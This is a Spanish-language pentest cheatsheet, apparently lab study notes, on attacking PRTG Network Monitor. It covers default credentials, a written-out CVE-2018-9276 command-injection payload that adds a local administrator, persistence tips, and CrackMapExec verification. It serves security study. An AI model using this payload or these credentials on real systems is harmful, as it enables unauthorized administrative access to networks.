> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/prtg-network-monitor.md).

# PRTG Network Monitor

**PRTG Network Monitor** (Paessler) es software **agentless** de monitoreo de red: ancho de banda, uptime y estadísticas de routers, switches, servers, etc. Autodiscovery + protocolos (ICMP, SNMP, WMI, NetFlow) + REST API. Interfaz web AJAX.

> De 26 CVEs, solo 4 tienen PoC público fácil (2 XSS, 1 DoS, y una **command injection autenticada** que cubrimos aquí). Rara vez expuesto externamente; común en pentests **internos** (ver box Netmon de HTB).

### 1. Discovery / Footprinting / Enumeración

#### Nmap

Puertos web comunes (80, 443, **8080**):

```bash
sudo nmap -sV -p- --open -T4 10.129.201.50
# 8080/tcp open http Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
```

#### Credenciales por defecto

`prtgadmin:prtgadmin` — a menudo pre-rellenadas en el login y sin cambiar. EyeWitness y Nessus las detectan.

#### Confirmar versión

```bash
curl -s http://10.129.201.50:8080/index.htm -A "Mozilla/5.0..." | grep version
# PRTG Network Monitor 17.3.33.2830
```

> Versión **17.3.33.2830** → vulnerable a **CVE-2018-9276** (command injection autenticada, afecta < 18.2.39).

> Los default fallan, pero pocas pruebas después: `prtgadmin:Password123`.

### 2. CVE-2018-9276 (Command Injection autenticada)

Al crear una **notificación**, el campo **Parameter** se pasa directo a un script **PowerShell** sin sanitización.

#### Pasos

1. **Setup → Account Settings → Notifications**.
2. **Add new notification** → darle un nombre.
3. Tildar **EXECUTE PROGRAM**.
4. **Program File** → `Demo exe notification - outfile.ps1`.
5. En **Parameter**, inyectar el comando:

```
test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
```

6. **Save** → **Test** (ejecuta la notificación).

| Elemento                                 | Descripción                             |
| ---------------------------------------- | --------------------------------------- |
| `test.txt;`                              | Argumento benigno + `;` para encadenar. |
| `net user ... /add`                      | Crea usuario local.                     |
| `net localgroup administrators ... /add` | Lo añade a admins locales.              |
|                                          |                                         |

> En un assessment real, mejor un **reverse shell / C2** en vez de crear un usuario (menos intrusivo). La notificación se puede **programar** → útil como mecanismo de **persistencia**.

> Es **blind command injection** → sin feedback. Verificar por el listener o comprobando el acceso.

***

### 3. Confirmar acceso (CrackMapExec)

```bash
sudo crackmapexec smb 10.129.201.50 -u prtgadm1 -p Pwn3d_by_PRTG!
# APP03\prtgadm1:Pwn3d_by_PRTG! (Pwn3d!)
```

> `(Pwn3d!)` = admin local confirmado. Alternativas: RDP, WinRM (evil-winrm), o impacket (`wmiexec.py`, `psexec.py`).

### Resumen rápido

| Paso           | Método                              | Qué obtiene                        |
| -------------- | ----------------------------------- | ---------------------------------- |
| 1. Identificar | Nmap 8080, "Paessler PRTG"          | Confirma PRTG + versión.           |
| 2. Acceso      | `prtgadmin:prtgadmin` / débiles     | Login.                             |
| 3. RCE         | Notificación → Parameter con `;cmd` | Command injection (CVE-2018-9276). |
| 4. Confirmar   | CrackMapExec                        | Admin local.                       |

> El vector es una **command injection autenticada** en el campo Parameter de las notificaciones (se pasa a PowerShell sin sanitizar). Es **blind** → confirmar por listener o CrackMapExec. La notificación programada sirve de persistencia. Conecta con tu módulo de **Command Injection**: aquí el `;` encadena comandos igual que en el Host Checker.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/prtg-network-monitor.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
